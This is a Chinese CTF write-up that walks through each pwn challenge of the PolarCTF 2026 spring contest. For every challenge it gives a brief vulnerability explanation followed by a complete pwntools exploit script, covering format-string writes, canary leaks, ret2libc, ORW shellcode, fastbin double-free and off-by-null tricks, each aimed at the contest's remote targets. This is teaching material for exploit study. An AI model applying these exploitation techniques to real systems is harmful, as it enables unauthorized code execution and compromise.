Polarctf2026春季pwn全解,你能详细讲解吗?

摘要:前言(可以不看) 这次的题不是很难,但是这服务器是真不行,靶机经常开不出来,而且有时候平台还炸了,当时写的时候fmt我是只通了本地,远程没通,然后book当时没写出来,其他的都出了,不过canary没去交了(8点一直到8点半都开不了靶机,逗
前言(可以不看) 这次的题不是很难,但是这服务器是真不行,靶机经常开不出来,而且有时候平台还炸了,当时写的时候fmt我是只通了本地,远程没通,然后book当时没写出来,其他的都出了,不过canary没去交了(8点一直到8点半都开不了靶机,逗我?)总的来说我还是打的不太好,我的exp都在复现平台打通过,应该还是能参考一下的,不过主要也是学思路。 z99 这个题比较简单,就是创建了四个堆,第一次有堆溢出可以在v4[1]的地方写值,溢出到v5[1]把本来的堆指针覆盖成这个z99的地址,然后在第二次输入的时候就可以往z99改值让他满足条件去getshell了,exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') libc = ELF('./libc.so.6') libc1=cdll.LoadLibrary('./libc.so.6') li='./libc.so.6' flag = 1 if flag: p = remote('1.95.7.68',2067) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() tar=0x60108C pay=p64(tar)*0x40 sl(pay) sl(p64(0x11)) ti() bank 看着比较多但是很简单,就是一个格式化字符串写,因为是32位系统所以把money的地址放前面,测出偏移直接写即可。exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='i386' elf=ELF('./pwn') flag = 1 if flag: p = remote('1.95.7.68',2089) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def ph(s): print(hex(s)) def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() tar=0x804A06C pay=p32(tar)+b'%9995c%6$hn' sl(pay) ti() littlecan main函数先检测输入,输入的第二个字符的ascii码要大于f,就可以进到后面的函数 有格式化字符串漏洞,并且有栈溢出,第一次用格式化字符串泄露canary再打栈溢出即可,当然也可以用格式化字符串写,先改printf的got表为system函数,第二次输入/bin/sh\x00即可getshell,打栈溢出的exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='i386' elf=ELF('./pwn') flag = 1 if flag: p = remote('1.95.36.136',2068) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def ph(s): print(hex(s)) def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() back=0x8048621 ru(b"This is a good start!\n") sd(b'z'*4) pay=b'%31$p' sd(pay) can=i6(rc(10)) pay=0x1d*p32(can)+p32(back) sd(pay) ti() sandbox1 沙箱规则如下 只允许orw再去ida看看 这里不知道为啥反编译不了(我没学过逆向...)直接看汇编也可以,这里可以看见,我们输入的地址就是ebp-0x70,接下来程序又会call 这个地址,也就是我们可以直接写shellcode过去执行,用工具生成一段shellcode即可,exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='i386' elf=ELF('./pwn') flag = 1 if flag: p = remote('1.95.36.136',2112) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def ph(s): print(hex(s)) def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() pay=asm(shellcraft.open(b'./flag',0))+asm(shellcraft.read(3,0x810ADE0,0x100))+asm(shellcraft.write(1,0x810ADE0,0x100)) sd(pay) ti() 这个0x810ADE0是可写的地址,就是bss段上的。 one_hundred 先有一次格式化字符串写 改这个n为100即可继续然后又有一次格式化字符串写 这里直接打印了/bin/sh,所以我们直接在第二次格式化字符串写的时候改printf的got表为system函数即可getshell,exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') flag = 1 if flag: p = remote('1.95.36.136',2148) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() tar=0x804A06C pr=elf.got['printf'] sy=elf.sym['system'] pay=p32(tar)+b'%96c%4$hhn' sd(pay) pay=p32(pr)+p32(pr+2)+b'%'+str((sy&0xffff)-8).encode()+b'c%4$hn' pay+=b'%'+str(((sy>>16)&0xffff)+0x10000-(sy&0xffff)).encode()+b'c%5$hn' ph(sy) sd(pay) ti() where_sh 32位的栈溢出,有canary,先用格式化字符串泄露出canary,然后栈溢出先返回gets,先往bss段写入/bin/sh\x00,然后gets返回system函数,把bss段作为参数即可getshell,exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='i386' elf=ELF('./pwn') flag = 1 if flag: p = remote('1.95.36.136',2144) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() ge=elf.sym['gets'] sy=elf.sym['system'] bss=0x804A06C ru(b"Welcome to the challenge!\n") pay=b'%27$p' sd(pay) can=i6(rc(10)) pay=p32(can)*0x18+flat(ge,sy,bss,bss,bss) sl(pay) sl(b'/bin/sh\x00') ti() 2free 这个应该是2.23版本的菜单题,有后门,漏洞点在delete 这里没有把指针置空,有uaf漏洞,我们再看看edit函数 可以看见这里这个写入的大小是在bss段上的,然后bss段上有堆的位置(也就是写入的地方)也在bss段上,所以我们打fastbin attack(不了解可以看看我写的文章Heap(堆)基础知识与UAF及Fastbin attck,流程就是先申请两个堆,释放第一个堆,释放第二个堆,再释放第一个堆。来形成一个循环链表,然后申请一个堆,改这个堆的fd指针,然后申请三次堆,最后申请的就是我们目标地址的堆了,不过这个堆的大小有讲究,要错位出来。完成之后我们先修改写入的大小,把他改大之后就可以写到bss段上的堆地址,把这个原来是堆地址的位置写成free的got表,再edit就可以往free的got表写了。攻击完成的效果如图 这样就相当于我们在0x60133d伪造了一个堆块,所以能申请到这个位置。exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') flag = 1 if flag: p = remote('1.95.36.136',2099) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() def add(s): ru(b"4.show") sdr(1) ru(b"Size: ") slr(s) def free(s): ru(b"4.show") sdr(3) ru(b"Index: ") sdr(s) def edit(s,a): ru(b"4.show") sdr(2) ru(b"Index: ") sdr(s) ru(b"Contents: ") sd(a) back=0x400c26 li=0x6013C0 tar=0x60133d add(0x60) add(0x60) add(0x20) free(1) free(0) free(1) add(0x60) edit(1,p64(tar)) add(0x60) add(0x60) add(0x60) edit(6,0x13*b'b'+p64(0x100000)*0x9) edit(6,0x3*b'b'+p64(0x100000)*0xe+p64(elf.got['free'])) edit(0,p64(back)) free(2) ti() zero 我记得比赛好像没这题啊....不过靶场上有就写一下吧 这里有一个栈溢出,开了pie,但是给了polar这个变量的地址,相当于没开pie,栈溢出返回xin函数 这里把sh跟bin这两个字符串禁了,但没禁flag,直接cat flag即可,exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='i386' elf=ELF('./pwn') flag = 1 if flag: p = remote('1.95.36.136',2112) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def ph(s): print(hex(s)) def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() ru(b"the polar gift for you ") pie=i6(rc(10))-0x2080 ph(pie) back=pie+0x8C0 pay=0x70*b'b'+p32(back) sd(pay) sl(b'cat f*') ti() bllhl_fmt 保护全开的任意格式化字符串写,当时我没写出来就是因为远程跟本地环境不一样导致栈地址不对,不过在2026PolarCTF春季赛wp – 叁玖の小博客这位师傅的文章下,了解了环境变量,就可以打了,我打的是栈返回,也就是call一个函数时会先在栈上留下这个函数的返回地址,我们通过格式化字符串是可以改这个地址的 改后效果如下 等printf函数结束后就会返回这个返回地址触发add rsp+0x58;ret从而回到我们栈上的rop链,也可以学这位师傅的攻击手法改返回地址,然后打stdin的IO结构退出循环,我当时是想用p.shutdown('write')发EOF退出循环,但是这样只能本地打了,好像远程不能只关一个管道。打栈返回的exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') libc = ELF('./libc.so.6') flag = 1 if flag: p = remote('1.95.36.136',2146) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def ph(s): print(hex(s)) def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() pay=b'.%43$p.%45$p.kkk' sl(pay) a,libcbase,pie,c=ru(b'k'*3).decode().split('.') libcbase=i6(libcbase)-0x29d90 pie=i6(pie)-0x120e st=libcbase+libc.sym['environ'] pay=b'kkkk%8$s'+p64(st) sl(pay) ru(b'k'*4) st=u6(6)-0x120-0x130 ph(st) rdi=libcbase+next(libc.search(asm('pop rdi;ret;'))) ret=libcbase+0x29139 system=libcbase+libc.sym['system'] binsh=libcbase+next(libc.search('/bin/sh')) bss=pie+0x4048 ad58=libcbase+0xa0265 pay=fmtstr_payload(7,{st:ad58},numbwritten=8,write_size='short') pay=pay.ljust(0x50,b'b')+flat(rdi,binsh,ret,system) sl(pay) ti() 打IO结构的exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') libc = ELF('./libc.so.6') flag = 1 if flag: p = remote('1.95.36.136',2146) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def ph(s): print(hex(s)) def dbg(): gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() pay=b'.%43$p.%45$p.kkk' sl(pay) a,libcbase,pie,c=ru(b'k'*3).decode().split('.') libcbase=i6(libcbase)-0x29d90 pie=i6(pie)-0x120e st=libcbase+libc.sym['environ'] pay=b'kkkk%8$s'+p64(st) sl(pay) ru(b'k'*4) st=u6(6)-0x120 ph(st) rdi=libcbase+next(libc.search(asm('pop rdi;ret;'))) ret=libcbase+0x29139 system=libcbase+libc.sym['system'] binsh=libcbase+next(libc.search('/bin/sh')) bss=pie+0x4048 ad58=libcbase+0xa0265 pay=fmtstr_payload(7,{bss:b'/bin/sh\x00'},numbwritten=8,write_size='short') sl(pay) pay=fmtstr_payload(7,{st+8:bss},numbwritten=8,write_size='short') sl(pay) pay=fmtstr_payload(7,{st:rdi},numbwritten=8,write_size='short') sl(pay) pay=fmtstr_payload(7,{st+0x10:ret},numbwritten=8,write_size='short') sl(pay) pay=fmtstr_payload(7,{st+0x18:system},numbwritten=8,write_size='short') sl(pay) std=libcbase+libc.sym['_IO_2_1_stdin_'] + 0x70 pay=fmtstr_payload(7,{std:0xffffffff},numbwritten=8,write_size='short') sl(pay) ti() bllhl_canary 这个题看着挺吓人,实际上还是挺简单的 这里通过各种加密解密在栈上放了很多检测,但实际上通过格式化字符串都可以把这些东西泄露出来,我们直接看汇编语言,看看他检测的地方在哪 可以看见在rbp-0x30,和rbp-0x28的地方会赋值给对应的寄存器,然后会有一个比较,之后在rbp-0x18的地方还有一个比较,我们把这些值通过格式化字符串全泄露出来,然后还原回去就可以栈溢出了,不用管其他的,同时格式化字符串还可以泄露出libc基地址,所以直接打就可以了,exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') libc = ELF('./libc.so.6') libc1=cdll.LoadLibrary('./libc.so.6') li='./libc.so.6' flag = 1 if flag: p = remote('1.95.36.136',2141) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s)) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() ru(b"[stage1] format string leak:") #69 pay=b'%38$p.%39$p.%41$p.%49$p.kkkk' sd(pay) ru("[echo] ") a,b,c,libcbase,d=ru(b'k'*4).decode().split('.') a=i6(a) b=i6(b) c=i6(c) libcbase=i6(libcbase)-0x29d90 ph(libcbase) sy=libcbase+libc.sym['system'] ret=libcbase+0x29139 binsh=libcbase+next(libc.search('/bin/sh')) rdi=libcbase+next(libc.search(asm('pop rdi;ret;'))) pay=0x60*b'b'+flat(a,b,0,c)+0x18*b'b'+flat(ret,rdi,binsh,sy) sd(pay) ti() bllhl_book 这个题我感觉挺有意思的,我是第一次见这种(我比较菜) 我就不一个个函数解释了,直接看关键的,首先是creat 这里写了一大串,其实就是构造出了一个结构体,然后在g_lib[8 * free_slot + 32]的位置写上了这个结构体偏移+0x80的指针 通过后面的printf可以知道各部分的名字,book的结构大致如图所示 漏洞点在改名字那 这里有一个off by null,粗略的看好像没啥用,但仔细看会发现,他写入的地址是g_lib,写入的大小是0x20,通过off by null其实我们就可以改掉第一个book在bss段上的地址(g_lib[8 * free_slot + 32]),改了之后的效果就是这样 因为简介是我们可以写值的,所以我们一开始在简介上布置好值就相当于伪造了一个book结构体,然后其中的id,名字,指针,大小都可以随便取值,我们把名字改成一个函数的got表,通过print功能就可以泄露出libc基地址,指针改成下图的函数指针的地址,后面edit往book里写值就可以改掉这个指针改成system(注意这个函数指针后面是stdout,不能把这值改掉了,不然会报错)再改名字把g_lib里写入/bin/sh\x00,再调用下图这个函数就可以getshell了 exp如下: from pwn import * import sys from ctypes import * context.log_level='debug' context.arch='amd64' elf=ELF('./pwn') libc = ELF('./libc.so.6') libc1=cdll.LoadLibrary('./libc.so.6') li='./libc.so.6' flag = 1 if flag: p = remote('1.95.36.136',2085) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) slr = lambda s : p.sendline(str(s).encode()) sd = lambda s : p.send(s) sdr = lambda s : p.send(str(s)) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() rcl = lambda : p.recvline() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip()) i6 = lambda a : int(a,16) def csu(): pay=p64(0)+p64(0)+p64(1) return pay def ph(s): print(hex(s)) def dbg(): # context.terminal = ['tmux', 'splitw', '-h'] gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star' pause() def free(s): ru(b"> ") slr(2) ru(b"Enter the book id you want to delete: ") slr(s) def edit(s,a): ru(b"> ") slr(3) ru(b"Enter the book id you want to edit: ") slr(s) ru(b"Enter new book description: ") sl(a) def pr(): ru(b"> ") slr(4) def rename(a): ru(b"> ") slr(5) ru(b"Enter author name: ") sl(a) def back(): ru(b"> ") slr(6) ru(b"[*] Polar review engine:\n") def add(s,a,d,f): ru(b"> ") slr(1) ru(b"Enter book name size: ") slr(s) ru(b"Enter book name (Max 32 chars): ") sl(a) ru(b"Enter book description size: ") slr(d) ru(b"Enter book description: ") sl(f) tar=0x404018 sl(b'b') puts=elf.got['puts'] pay=b'b' pay=flat(1,puts,tar,0x80) add(0x20,b'b',0x60,pay) rename(b'a'*0x20) pr() ru(b"Name: ") libcbase=u6(6)-libc.sym['puts'] ph(libcbase) sy=libcbase+libc.sym['system'] wa=libcbase+libc.sym['_IO_2_1_stdout_'] edit(1,p64(sy)+p64(wa)) rename(b'/bin/sh\x00') back() ti()